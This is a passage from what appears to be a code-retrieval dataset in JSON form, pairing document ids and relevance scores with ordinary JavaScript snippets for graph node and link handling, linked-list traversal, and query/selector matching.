= 0; iterator<returnedNodes.length; iterator++) {\n returnedNodes[iterator].id = iterator;\n returnedNodes[iterator].label = returnedNodes[iterator].value; //This will write out the nodes label.\n returnedNodes[iterator].title = returnedNodes[iterator].type; //Titles are on mouse-over.\n //returnedNodes[iterator].group = returnedNodes[iterator].type;\n\t returnedNodes[iterator].group = setGroup(returnedNodes[iterator]);\n }\n }\n\n return returnedNodes;\n}", "title": "" }, { "docid": "6901db32af3db3887c585b60e52d9ae4", "score": "0.5281856", "text": "function computeNodeLinks() {\n nodes.forEach(function (node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n links.forEach(function (link) {\n var source = link.source,\n target = link.target;\n if (typeof source === \"number\") source = link.source = nodes[link.source];\n if (typeof target === \"number\") target = link.target = nodes[link.target];\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "b13f1280fefcf4f5819ef93f54915af9", "score": "0.5262775", "text": "function drawTheNext(keyNode) {\n var nextArray = nodes.get(keyNode).next;\n var inVisitedNodes = false;\n for (var i = 0; i < visitedNodes.length; i++) {\n if (visitedNodes[i] == keyNode) {\n inVisitedNodes = true;\n break;\n }\n }\n if (!inVisitedNodes) {\n visitedNodes[visitedNodes.length] = keyNode;\n }\n\n // trace all the nodes in between\n for (var i = 0; i < nextArray.length; i++) {\n\n // in green\n /* console.log(\"one iteration\");\n stroke(0, 255, 0, 255);\n strokeWeight(2);\n line(keyNodeX, keyNodeY, nextX, nextY);*/\n//console.log(\"next: \" + nextArray[i]);\n var whereInMapPath;\n //console.log(\"mapPath: \" + nodes.get(keyNode).mapPath.length);\n for (var k = 0; k < nodes.get(keyNode).arrayNodes.length; k++){\n if (nextArray[i] == nodes.get(keyNode).arrayNodes[k]){\n //console.log(\"position in the mapPath: \" + k);\n whereInMapPath = k;\n break;\n }\n }\n\n for (var j = 0; j < nodes.get(keyNode).mapPath[whereInMapPath].length / 2; j++) {\n\n // first extremity\n var graphX2Temp = TILE_SIZE * (0.5 + nodes.get(keyNode).mapPath[whereInMapPath][2 * j] / 360);\n var graphX2Temp1 = graphX2Temp * Math.pow(2, zoomLevel);\n var graphX2 = width / 2 + (graphX2Temp1 - pixCenterX);\n\n var siny = Math.sin(nodes.get(keyNode).mapPath[whereInMapPath][2 * j + 1] * Math.PI / 180);\n siny = Math.min(Math.max(siny, -0.9999), 0.9999);\n var graphY2Temp = TILE_SIZE * (0.5 - Math.log((1 + siny) / (1 - siny)) / (4 * Math.PI));\n var graphY2Temp1 = graphY2Temp * Math.pow(2, zoomLevel);\n var graphY2 = height / 2 + (graphY2Temp1 - pixCenterY);\n\n // last extremity\n var graphX3Temp = TILE_SIZE * (0.5 + nodes.get(keyNode).mapPath[whereInMapPath][2 * j + 2] / 360);\n var graphX3Temp1 = graphX3Temp * Math.pow(2, zoomLevel);\n var graphX3 = width / 2 + (graphX3Temp1 - pixCenterX);\n\n var siny2 = Math.sin(nodes.get(keyNode).mapPath[whereInMapPath][2 * j + 3] * Math.PI / 180);\n siny2 = Math.min(Math.max(siny2, -0.9999), 0.9999);\n var graphY3Temp = TILE_SIZE * (0.5 - Math.log((1 + siny2) / (1 - siny2)) / (4 * Math.PI));\n var graphY3Temp1 = graphY3Temp * Math.pow(2, zoomLevel);\n var graphY3 = height / 2 + (graphY3Temp1 - pixCenterY);\n\n // draw a line between the coordinates\n //stroke(255, 255, 0, 150);\n //line(graphX2, graphY2, graphX3, graphY3);\n //fill(255, 0, 0);\n //ellipse(graphX2, graphY2, 10, 10);\n }\n\n drawTheNext(nextArray[i]);\n }\n}", "title": "" }, { "docid": "110f686f307d2ffd85d8a64149e33274", "score": "0.5256573", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "110f686f307d2ffd85d8a64149e33274", "score": "0.5256573", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "90cce571e1c58de9f8096eee3e436fdd", "score": "0.5254253", "text": "function computeNodeLinks() {\n nodes.forEach(function(node) {\n // Links that have this node as source.\n node.sourceLinks = [];\n // Links that have this node as target.\n node.targetLinks = [];\n });\n links.forEach(function(link) {\n var source = link.source,\n target = link.target;\n if (typeof source === 'number') source = link.source = nodes[link.source];\n if (typeof target === 'number') target = link.target = nodes[link.target];\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "b05e4c4c30fb9922e2f4c1328afa0754", "score": "0.5252841", "text": "findI(index) {\n this.log(\"=============finding=============\");\n let current = this.head;\n let position = 0;\n this.steps = 0;\n while (current && position !== index) {\n this.log(`${position}:`);\n this.log(current.data);\n current = current.next;\n position++;\n this.steps++;\n }\n if (position === index) {\n this.log(\"found it!\");\n this.log(current.data);\n return current;\n } else {\n this.log(\"couldnt find it :(\");\n return null;\n }\n }", "title": "" }, { "docid": "e68497e8eaace2a6f5a7a7250fa1c1fb", "score": "0.52519214", "text": "function computeNodeLinks() {\n nodes.forEach(function(node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n // For each link (taken from the code in main.js)\n links.forEach(function(link) {\n // Initialize some variables\n var source = link.source,\n target = link.target;\n\n // Error check\n if (typeof source === \"number\") source = link.source = nodes[link.source];\n if (typeof target === \"number\") target = link.target = nodes[link.target];\n\n // Set the source links from the old links\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "c718b1d7107a1ed02251b5d64202bf6e", "score": "0.5247519", "text": "function goDeepLink(link) {\n var key = link.replace(/^\\//, \"\");\n // console.log(key + \" \" + link);\n \n if (typeof key === \"undefined\" || key === \"\") {\n key = \"index\";\n }\n // console.log(key + \" \" + link);\n \n var param;\n key = key.split(\"/\")[0];\n \n // console.log(key + \" \" + link);\n \n if (link.split(\"/\").length > 1) {\n param = link.split(\"/\")[link.split(\"/\").length - 1];\n }\n \n // console.log(key + \" \" + link);\n \n deepLinks[key](param);\n \n // console.log(key + \" \" + link);\n return link;\n}", "title": "" }, { "docid": "ab17fe40aee33ab44faf5ead9babb36a", "score": "0.5236816", "text": "function D3VisEtl(d3Data, d3MappingData, object, svgId){\n\t\tif(object.start === undefined){\n\t\t\tD3VisNodeEtl(d3Data, d3MappingData, object, svgId);\n\t\t}\n\t\telse{\n\t\t\tfor(var i = 0; i < object.length; i++){\n\t\t\t\tvar segment = object.segments[i];\n\t\t\t\t// for nodes\n\t\t\t\tD3VisNodeEtl(d3Data, d3MappingData, segment.end, svgId);\n\t\t\t\tD3VisNodeEtl(d3Data, d3MappingData, segment.start, svgId);\n\n\t\t\t\t// for relationship\n\t\t\t\tvar hashId = \"link_\"+svgId+\"_\"+segment.relationship.identity.low;\n\t\t\t\tif(d3MappingData.linksMap[hashId] === undefined){\n\t\t\t\t\tvar linkObject = {\n\t\t\t\t\t\t\"originalId\": segment.relationship.identity.low,\n\t\t\t\t\t\t\"id\": svgId+\"_\"+segment.relationship.identity.low,\n\n\t\t\t\t\t\t\"subjectId\": svgId+\"_\"+segment.relationship.start.low,\n\t\t\t\t\t\t\"source\": svgId+\"_\"+segment.relationship.start.low,\n\n\t\t\t\t\t\t\"objectId\": svgId+\"_\"+segment.relationship.end.low,\n\t\t\t\t\t\t\"target\":svgId+\"_\"+segment.relationship.end.low,\n\n\t\t\t\t\t\t\"type\": segment.relationship.type,\n\t\t\t\t\t\t\"properties\": segment.relationship.properties\n\t\t\t\t\t};\n\t\t\t\t\tD3DuplicateRelationship(d3MappingData.duplicateMap, linkObject);\n\t\t\t\t\td3MappingData.linksMap[hashId] = d3Data.links.length;\n\t\t\t\t\td3Data.links.push(linkObject);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ac8766c249cc17ecd9a6c0034c86a7a1", "score": "0.52347547", "text": "function nodocercano(lista1,linked)\n{\n\t//Necesito saber si es una estacion de cruce\n\t//Si el tamaño de la lista es mayor a 1 entonces el nodo es un nodo de cruce\n\tif(lista1.length==1)\n\t{\n\t\t//guardo el objeto para facil manipulacion\n\t\tvar estacion = lista1[0];\n\t\t//guardo el valor de la estacion para usarlo como contador\n\t\tvar cont = estacion.idestacion;\n\n\n\t\tvar cont2 = cont-1;\n\t\tcont++;\n\t\t//ciclo para empezar en la estacion a buscar y de ahi buscar adelante y atras\n\t\twhile(cont2>=0||cont<=linked.get_last().idestacion)\n\t\t{\n\t\t\tif(cont<=linked.get_last().idestacion&&linked.get(cont).tipo==1)\n\t\t\t{\n\t\t\t\tif(linked.get(cont).estatus==1)\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}else{\n\t\t\t\t\t//Regreso el indice en el que se encuentra cuando se busco para adelante\n\t\t\t\t\treturn cont;\n\t\t\t\t}\n\t\t\t}else if(cont2>0 && linked.get(cont2).tipo==1)\n\t\t\t{\n\t\t\t\tif(linked.get(cont2).estatus==1)\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}else{\n\t\t\t\t\t//Regreso el indice en el que se encuentra cuando se busco para atras\n\t\t\t\t\treturn cont2;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tcont++;\n\t\t\t\tcont2--;\n\t\t\t}\n\t\t\t//aqui me quede 27/02/2020\n\t\t}\n\t}else\n\t{\n\t\t//Esta seccion para cuando ya estamos en un punto de cruce entonce smplente hay que buscar la linea que coincide y\n\t\t//regresar el id de estacion\n\t\tlet a =0;\n\t\tfor(a=0;a<lista1.length;a++)\n\t\t{\n\t\t\tif(lista1[a].idlinea==linked.get(0).idlinea&&lista1[a].estatus!=1)\n\t\t\t{\n\t\t\t\treturn lista1[a].idestacion;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "4b7adaeb1e788faa4b487a9f02738f68", "score": "0.5228441", "text": "getByIndex(index){\r\n if(index< 0||index>=this.length) return null\r\n let current = this.head\r\n \r\n for(let i = 0;i< index;i++){\r\n current =current.next\r\n }\r\n return current}", "title": "" }, { "docid": "ca00975db98bd7e2b7a4352742fa4f62", "score": "0.52238774", "text": "getAtIndex(index) {\n let current = this.head;\n let count = 0;\n\n while(current){\n if(count == index) {\n console.log(current.data);\n }\n current = current.next;\n count++;\n }\n\n return;\n }", "title": "" }, { "docid": "73f34ccc94bfead95bf9a1042bafa36e", "score": "0.5219738", "text": "contains(target) {\n let node = this.head;\n while (node) {\n if (node.value === target) return true;\n node = node.next;\n }\n return false;\n }", "title": "" }, { "docid": "b3b64c76b9c525cf87279001cb70e6fb", "score": "0.52131987", "text": "static get nodeIndex() {}", "title": "" }, { "docid": "1659eaabe34a05d820ca7d16e3334e7d", "score": "0.52118593", "text": "function neighboring(a, b) {\r\n return linkedByIndex[a.index + ',' + b.index];\r\n }", "title": "" }, { "docid": "1cd56e3e3555bc543b25d5afec5a038a", "score": "0.5202504", "text": "contains(value) {\n // check if linklist is empty\n if(this.head === null) return false;\n\n const searchLinkList = (node) => {\n\n //check if head is equal to value\n if(node.value === value) return true;\n\n // check if there's more than one node\n if(node.next === null) return false;\n\n // if more than one node, call searchLinkList agian passing in the next node\n return searchLinkList(node.next);\n }\n return searchLinkList(this.head);\n }", "title": "" }, { "docid": "7eb2278d6dbea3e4a3c7140e327b93e9", "score": "0.5202097", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n}", "title": "" }, { "docid": "e047b2cebdd3e6d2e727407504eb7496", "score": "0.5201718", "text": "function computeNodeLinks() {\n\n links.forEach((link) => {\n const { source, target } = link;\n const nodeLinkSource = findNode(source, nodes);\n const nodeLinkTarget = findNode(target, nodes);\n if (source === target) {\n link.ring = nodeLinkSource;\n nodeLinkSource.ring = link;\n } else {\n link.source = nodeLinkSource;\n link.target = nodeLinkTarget;\n nodeLinkSource.outNodes.push(nodeLinkTarget);\n nodeLinkSource.outLinks.push(link);\n nodeLinkTarget.inLinks.push(link);\n\n nodeLinkSource.sourceLinks.push(link);\n nodeLinkTarget.targetLinks.push(link);\n\n\n if (nodeLinkSource.inLinks.length === 0) {\n setNodesWithoutIN.add(nodeLinkSource)\n }\n }\n\n });\n\n arrayNodesWithoutIN = [...setNodesWithoutIN];\n }", "title": "" }, { "docid": "b3b24334f8450859da380c3c1ed2bff2", "score": "0.5199581", "text": "function verifyJSONForVisjsNodes( returnedObject ) {\n var returnedNodes = returnedObject.nodes;\n\n if(returnedNodes[0]!==null&&(!_.has(returnedNodes[0], \"id\"))) {\n for(var iterator = 0; iterator<returnedNodes.length; iterator++) {\n returnedNodes[iterator].id = iterator;\n }\n }\n\n return returnedNodes;\n}", "title": "" }, { "docid": "c7c792b798f38e04cb5be20973fb1aae", "score": "0.51933265", "text": "function isOnMap(node)\n\t{\n\t\tfor (var i = 0; i < s.graph.nodes().length; i++)\n\t\t{\n\t\t\tif (s.graph.nodes()[i].id == node)\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t//If we've reached here it's because the node does not exist\n\t\treturn false;\n\t}", "title": "" }, { "docid": "d205efdc3fcb6184794cf38d67d1cee0", "score": "0.5176639", "text": "static linkAlreadyExists(srcNodePortId, trgNodePortId, srcNode, trgNode, links) {\n\t\tlet exists = false;\n\n\t\tlinks.forEach((link) => {\n\t\t\tif (link.srcNodeId === srcNode.id &&\n\t\t\t\t\t(!link.srcNodePortId || link.srcNodePortId === srcNodePortId) &&\n\t\t\t\t\tlink.trgNodeId === trgNode.id &&\n\t\t\t\t\t(!link.trgNodePortId || link.trgNodePortId === trgNodePortId)) {\n\t\t\t\texists = true;\n\t\t\t}\n\t\t});\n\t\treturn exists;\n\t}", "title": "" }, { "docid": "d76ebe6f106eccc4e249b2e5111ddc82", "score": "0.51762486", "text": "traverseToIndex(index) {\n let currentNode = this.head;\n for(let i = 0; i < this.length; i++) {\n if(index === i+1) {\n return currentNode;\n }\n currentNode = currentNode.next;\n }\n }", "title": "" }, { "docid": "d9a118c0cbfbdb469f9446d121172a64", "score": "0.5172381", "text": "traverse() {\n let current = this.head;\n while (current) {\n console.log(current.val);\n current = current.next;\n }\n }", "title": "" }, { "docid": "baabbff47684fd4f1e4a86692012dfc0", "score": "0.5170213", "text": "function searchLeft(nodeIndex) {\n\t\t\t\titerationCounter=iterationCounter+1;//by fact of invoking \n\t\t\t\t//return false;\n\t\t\t}", "title": "" }, { "docid": "bcb8be516f47c648f8a7640ddd1a0fa6", "score": "0.516712", "text": "function computeNodeLinks() {\n nodes.forEach(function (node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n links.forEach(function (link) {\n var sourceNode = link.sourceNode = nodes[link.source],\n targetNode = link.targetNode = nodes[link.target];\n\n sourceNode && sourceNode.sourceLinks.push(link);\n targetNode && targetNode.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "53a6f68c91d637d1f12f90ce9ec314b9", "score": "0.51669294", "text": "function nextNode() {\n var id = activeMarkerId;\n var node;\n for (i = 0; i < nodes.length;) {\n node = nodes[i];\n i++;\n if (node.markerId == id && i != nodes.length) {\n node = nodes[i];\n setActiveMarker(node.markerId);\n break;\n }\n }\n changeFormFocus(node.markerId);\n panMap(node.position);\n if (id == node.markerId) {\n return 0;\n }\n else return 1;\n}", "title": "" }, { "docid": "99101a1c4dc0564053537773f67ebb14", "score": "0.5165394", "text": "canConnect(from, to) {\n //console.log(from,to);\n if (from.layer == to.layer) return false;\n for (let x of from.connections)\n if (x.toNode.number == to.number) return false;\n for (let x of to.connections)\n if (x.toNode.number == from.number) return false;\n return true;\n }", "title": "" }, { "docid": "5a18ee3e25159af96c095a0afb127a3f", "score": "0.51586914", "text": "static isNodeOutputLinkedToTargetNodes(node, output, targetNodes, links) {\n\t\tlet state = false;\n\t\tlinks.forEach((link) => {\n\t\t\tif (link.srcNodeId === node.id && link.srcNodePortId === output.id && this.isTargetNode(link.trgNodeId, targetNodes)) {\n\t\t\t\tstate = true;\n\t\t\t}\n\t\t});\n\t\treturn state;\n\t}", "title": "" }, { "docid": "3ab3d1a7fdd36a33f451806a0f8d0642", "score": "0.51584643", "text": "function getIncoming(node) {\n var index = node._id;\n var incoming = _links.filter(function (link) {\n var source = (typeof link.source === 'object') ? link.source._id : link.source;\n var target = (typeof link.target === 'object') ? link.target._id : link.target;\n return target == index && source !== index;\n });\n return incoming;\n }", "title": "" }, { "docid": "598b6fb17c67046e29e3a2c0b2b20399", "score": "0.51571435", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "ba839a0a14f25ed82c90f010a7d3c369", "score": "0.5156653", "text": "function linkMouseover(d) {\n svg.selectAll(\".link\").classed(\"active\", function(p) { return p === d; });\n svg.selectAll(\".node circle\").classed(\"active\", function(p) { return p === d.source || p === d.target; });\n // info.text(d.source.name + \" → \" + d.target.name);\n }", "title": "" }, { "docid": "583e064e86e4b5359ff6251c8fb08d86", "score": "0.5153091", "text": "checkLink(source, linkName) {\n let ret = linkName;\n let schLink = schema.getAllSchemasLink(source.localName, linkName.split(\":\")[1]);\n if (typeof(schLink) !== \"undefined\") {\n let linkUsed = [].filter.call(schLink.children, function(el) {\n return el.nodeName === \"cims:AssociationUsed\";\n })[0];\n if (linkUsed.textContent === \"No\") {\n let invLinkName = schema.schemaInvLinksMap.get(linkName.split(\":\")[1]);\n ret = \"cim:\" + invLinkName;\n } \n }\n return ret;\n }", "title": "" }, { "docid": "679dad48991aa1e7912b4b4438d92304", "score": "0.51530075", "text": "function isLink(cell) {\r\n\t if (cell.attributes.type === TypeEnum.LINK) return true;\r\n\t}", "title": "" }, { "docid": "e1ca5ed68b39906f40394964122f8b2d", "score": "0.5143696", "text": "getAt(index) {\n let counter = 0;\n let node = this.head;\n while (node) {\n if (counter === index) {\n return node;\n }\n\n counter++;\n node = node.next;\n }\n return null;\n }", "title": "" }, { "docid": "68d4cececaa9df445faa128e5249ccbf", "score": "0.51360464", "text": "_handleLinks() {\n this.links.forEach(link => {\n const source = link.source\n const target = link.target\n if (this.model[target === undefined]) {\n this.errors.push(\n `The target '${target}' for the outgoing link at '${source}' does not exists`\n )\n } else {\n this._createLinkEdges({ link })\n }\n })\n this.links = []\n }", "title": "" }, { "docid": "926f53b5a5b58e2794a572e5a806cf43", "score": "0.5131004", "text": "function showAllNodesLinks() {\n // fade in nodes\n svg.selectAll(\".node\").classed(\"fadeOut\",false).classed(\"node--active\",false);\n if(viewStatus == 'current') {\n // fade in lines and lines history\n if(isSafari == true) {\n d3.select(\"#lines_current_img\").classed(\"fadeOut\",false);\n d3.select(\"#lines_current_selected_hover_img\").classed(\"fadeOut\",false).classed(\"hide\",true);\n } else {\n d3.select(\"#lines_history_canvas\").classed(\"fadeOut\",false);\n d3.select(\"#lines_current_canvas\").classed(\"fadeOut\",false);\n d3.select(\"#lines_current_selected_hover_canvas\").classed(\"fadeOut\",false).classed(\"hide\",true);\n }\n // clear screen of selected lines\n clearScreen(2);\n // clear screan of hover lines\n // clearScreen(3);\n }\n}", "title": "" }, { "docid": "d737c0a5af3e3656cdc4d66f85d9afc1", "score": "0.5130654", "text": "set(index, val) {\n let foundNode = this.get(index);\n\n if (foundNode) {\n foundNode.val = val;\n return true;\n }\n // console.log(this.head);\n return false;\n }", "title": "" }, { "docid": "1564c3b9fae78363c06b54e3547882f9", "score": "0.5114799", "text": "function hasLoop() {\n let slowNode = _head; let fastNode = _head;\n actions.push({type: 'initialize', slowNode: slowNode.id, fastNode: fastNode.id});\n // Move slowNode by 1 and fastNode by 2\n\n while (slowNode.next && fastNode.next.next) {\n slowNode = slowNode.next;\n fastNode = fastNode.next.next;\n actions.push({type: 'loop', slowNode: slowNode.id, fastNode: fastNode.id});\n if (slowNode === fastNode) {\n actions.push({type: 'loop-found', slowNode: slowNode.id, fastNode: fastNode.id});\n return true;\n }\n }\n\n return false;\n }", "title": "" } ]
77322d9ec8df0c9276b90ae378d8d2cb
Returns a function that determines if a document matches a query selector. It is important to have the exact same logix as lokijs uses, to be sure that the eventreduce algorithm works correct. But LokisJS does not export such a function, the query logic is deep inside of the Resultset prototype. Because I am lazy, I do not copy paste and maintain that code. Instead we create a fake Resultset and apply the prototype method Resultset.prototype.find(), same with Collection.
[ { "docid": "3b88b717ab191f514cac4057a78394b2", "score": "0.6381906", "text": "getQueryMatcher(_schema, query) {\n var fun = doc => {\n if (doc._deleted) {\n return false;\n }\n var docWithResetDeleted = (0, _utils.flatClone)(doc);\n docWithResetDeleted._deleted = !!docWithResetDeleted._deleted;\n var fakeCollection = {\n data: [docWithResetDeleted],\n binaryIndices: {}\n };\n Object.setPrototypeOf(fakeCollection, _lokijs.default.Collection.prototype);\n var fakeResultSet = {\n collection: fakeCollection\n };\n Object.setPrototypeOf(fakeResultSet, _lokijs.default.Resultset.prototype);\n fakeResultSet.find(query.selector, true);\n var ret = fakeResultSet.filteredrows.length > 0;\n return ret;\n };\n return fun;\n }", "title": "" } ]
[ { "docid": "a19b4e2992efa65eb1665b7dc561fc52", "score": "0.58378243", "text": "function matchesSelector(doc, selector) {\n /* istanbul ignore if */\n if (typeof selector !== 'object') {\n // match the CouchDB error message\n throw new Error('Selector error: expected a JSON object');\n }\n\n selector = massageSelector(selector);\n var row = {\n 'doc': doc\n };\n\n var rowsMatched = filterInMemoryFields([row], { 'selector': selector }, Object.keys(selector));\n return rowsMatched && rowsMatched.length === 1;\n}", "title": "" }, { "docid": "8c11c39ccb9328b8191de96f62597bd8", "score": "0.5759662", "text": "getDocumentsMatchingQuery(t, e, n) {\n /**\n * Returns whether the query matches a single document by path (rather than a\n * collection).\n */\n return function(t) {\n return bt.isDocumentKey(t.path) && null === t.collectionGroup && 0 === t.filters.length;\n }(e) ? this.Vn(t, e.path) : ye(e) ? this.Sn(t, e, n) : this.Dn(t, e, n);\n }", "title": "" }, { "docid": "04a4f147b37e3f52b33dd47200442366", "score": "0.5735306", "text": "function find(criteria, callback) {\n\n\t\tif (typeof criteria==\"function\") {\n\t\t\tcallback = criteria;\n\t\t\tcriteria = null;\n\t\t}\n\n\t\tcriteria = criteria || {};\n\n\t\tif (typeof criteria!=\"object\" && typeof criteria!=\"function\") {\n\t\t\tcriteria = {id:criteria};\n\t\t}\n\n\t\tcast(criteria);\n\n\t\tfunction run(fn) {\n\t\t\tif (!fn) return;\n\t\t\tdb.select(name, criteria, function(e,d) {\n\t\t\t\tif (d) fn(null, new CollectionSet(d));\n\t\t\t\telse fn(e, null);\n\t\t\t});\n\t\t}\n\n\t\tfunction watch(fn) {\n\t\t\t//Subscribe to new results to this query.\n\t\t}\n\n\t\tif (callback) run(callback);\n\n\t\treturn {\n\t\t\trun: run,\n\t\t\twatch: watch\n\t\t}\n\n\t}", "title": "" }, { "docid": "797bf07bb646eff23319b1b1b6e71b55", "score": "0.5687881", "text": "function query$f(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$f(descriptor, protoOrDescriptor, name) :\n standardQuery$f(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "3e9b0e0de796362e8d175963813997a2", "score": "0.56501716", "text": "find(ns, query, ...optionsAndCallback) {\n let { options, callback } = this.handleSkippedOptions(...optionsAndCallback);\n if (this.client) {\n // see if we need to rehydrate _id\n if (query._id) {\n query._id = this.checkId(query._id);\n }\n this.$isDebug && this.$debug('find', ns, query);\n if (typeof query === 'string') {\n // assume the string is an _id and try to fetch it\n this.findOne(ns, { _id: this.checkId(query) }, options, callback);\n } else {\n this.getCollection(ns).find(query, options).toArray((err, docs) => {\n if (err) {\n this.$error('mongo error', err);\n callback && callback(err);\n } else {\n callback && callback(null, docs);\n }\n });\n }\n } else {\n callback && callback(this.$error('db client not ready'));\n }\n }", "title": "" }, { "docid": "c236189c0ad930c61f8476652100b535", "score": "0.5640849", "text": "find(orgId, query) {\n if (arguments.length !== 2) {\n return Promise.reject(new Error('Incorrect number of arguments passed to CustomDataService.find'));\n }\n\n // Hardwire orgId into every query\n if (typeof query === 'string' || query instanceof String) {\n query = 'eq(orgId,' + orgId + ')&' + query;\n }\n else {\n // todo: test that this actually shows up in the query - https://docs.mongodb.org/manual/tutorial/manage-the-database-profiler/\n query = query.eq('orgId', orgId);\n }\n\n var mongoQuery = mongoRql(query);\n var projection = {\n skip: mongoQuery.skip,\n limit: mongoQuery.limit,\n fields: mongoQuery.projection,\n sort: mongoQuery.sort\n };\n\n return this.collection.find(mongoQuery.criteria, projection)\n .then((docs) => {\n var transformedDocs = [];\n _.forEach(docs, (doc) => {\n this.useFriendlyId(doc);\n transformedDocs.push(doc);\n });\n\n return transformedDocs;\n });\n }", "title": "" }, { "docid": "7ff43c02e7be17a44b7e79bd0b094838", "score": "0.5602258", "text": "function query(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery(descriptor, protoOrDescriptor, name) :\n standardQuery(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "f559e3139f98080ff0e19e65b5b3e7ae", "score": "0.5598827", "text": "function query$1(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$1(descriptor, protoOrDescriptor, name) :\n standardQuery$1(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "57515d2d1ef76d0bf6bd860d1b953da7", "score": "0.5562822", "text": "function query(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery(descriptor, protoOrDescriptor, name) :\n standardQuery(descriptor, protoOrDescriptor);\n };\n}", "title": "" }, { "docid": "57515d2d1ef76d0bf6bd860d1b953da7", "score": "0.5562822", "text": "function query(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery(descriptor, protoOrDescriptor, name) :\n standardQuery(descriptor, protoOrDescriptor);\n };\n}", "title": "" }, { "docid": "a7474c88d232f85cd870ffcdd098ffa6", "score": "0.5560181", "text": "function do_find(collection, query, next) {\n collection.find(query, next);\n}", "title": "" }, { "docid": "c8df3956bb091f7ee4bed88654d343e3", "score": "0.55229115", "text": "function query(selector){return function(protoOrDescriptor,// tslint:disable-next-line:no-any decorator\nname){var descriptor={get:function get(){return this.renderRoot.querySelector(selector)},enumerable:!0,configurable:!0};return name!==void 0?legacyQuery(descriptor,protoOrDescriptor,name):standardQuery(descriptor,protoOrDescriptor)}}", "title": "" }, { "docid": "993f4bb91fe5ade910d2f57121aff037", "score": "0.5483391", "text": "function queryMatches(query, doc) {\r\n return (doc.isFoundDocument() &&\r\n queryMatchesPathAndCollectionGroup(query, doc) &&\r\n queryMatchesOrderBy(query, doc) &&\r\n queryMatchesFilters(query, doc) &&\r\n queryMatchesBounds(query, doc));\r\n}", "title": "" }, { "docid": "a0ede8ca1ca33b2339d9115b409e4351", "score": "0.5453084", "text": "static find(options) {\n options = extend({}, this.query(), options);\n return this.definition().query({ query: options });\n }", "title": "" }, { "docid": "431ca0ee27c3e08a8bfb4bc3f745ff9b", "score": "0.5425063", "text": "getDocumentsMatchingQuery(t, e, n, s) {\n // Queries that match all documents don't benefit from using\n // key-based lookups. It is more efficient to scan all documents in a\n // collection, rather than to perform individual lookups.\n return function(t) {\n return 0 === t.filters.length && null === t.limit && null == t.startAt && null == t.endAt && (0 === t.explicitOrderBy.length || 1 === t.explicitOrderBy.length && t.explicitOrderBy[0].field.isKeyField());\n }(e) || n.isEqual(it.min()) ? this.Fn(t, e) : this.On.Pn(t, s).next((i => {\n const r = this.Mn(e, i);\n return (we(e) || _e(e)) && this.Ln(e.limitType, r, s, n) ? this.Fn(t, e) : (N() <= LogLevel.DEBUG && k(\"QueryEngine\", \"Re-using previous result from %s to execute query: %s\", n.toString(), Re(e)), \n this.On.getDocumentsMatchingQuery(t, e, n).next((t => (\n // We merge `previousResults` into `updateResults`, since\n // `updateResults` is already a DocumentMap. If a document is\n // contained in both lists, then its contents are the same.\n r.forEach((e => {\n t = t.insert(e.key, e);\n })), t))));\n }));\n // Queries that have never seen a snapshot without limbo free documents\n // should also be run as a full collection scan.\n }", "title": "" }, { "docid": "b233f99932af4cc5032ab89b2652f641", "score": "0.54244435", "text": "findOne(query, querySignature = null) {\n\t}", "title": "" }, { "docid": "345c28622f48194841d0ecdee7d79e4f", "score": "0.5421957", "text": "function query$2(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n legacyQuery$2(descriptor, protoOrDescriptor, name) :\n standardQuery$2(descriptor, protoOrDescriptor);\n };\n }", "title": "" }, { "docid": "5ab9f37bdedc196bc2e6bae82afe235c", "score": "0.5404364", "text": "function query$l(selector) {\n return (protoOrDescriptor, \n // tslint:disable-next-line:no-any decorator\n name) => {\n const descriptor = {\n get() {\n return this.renderRoot.querySelector(selector);\n },\n enumerable: true,\n configurable: true,\n };\n return (name !== undefined) ?\n 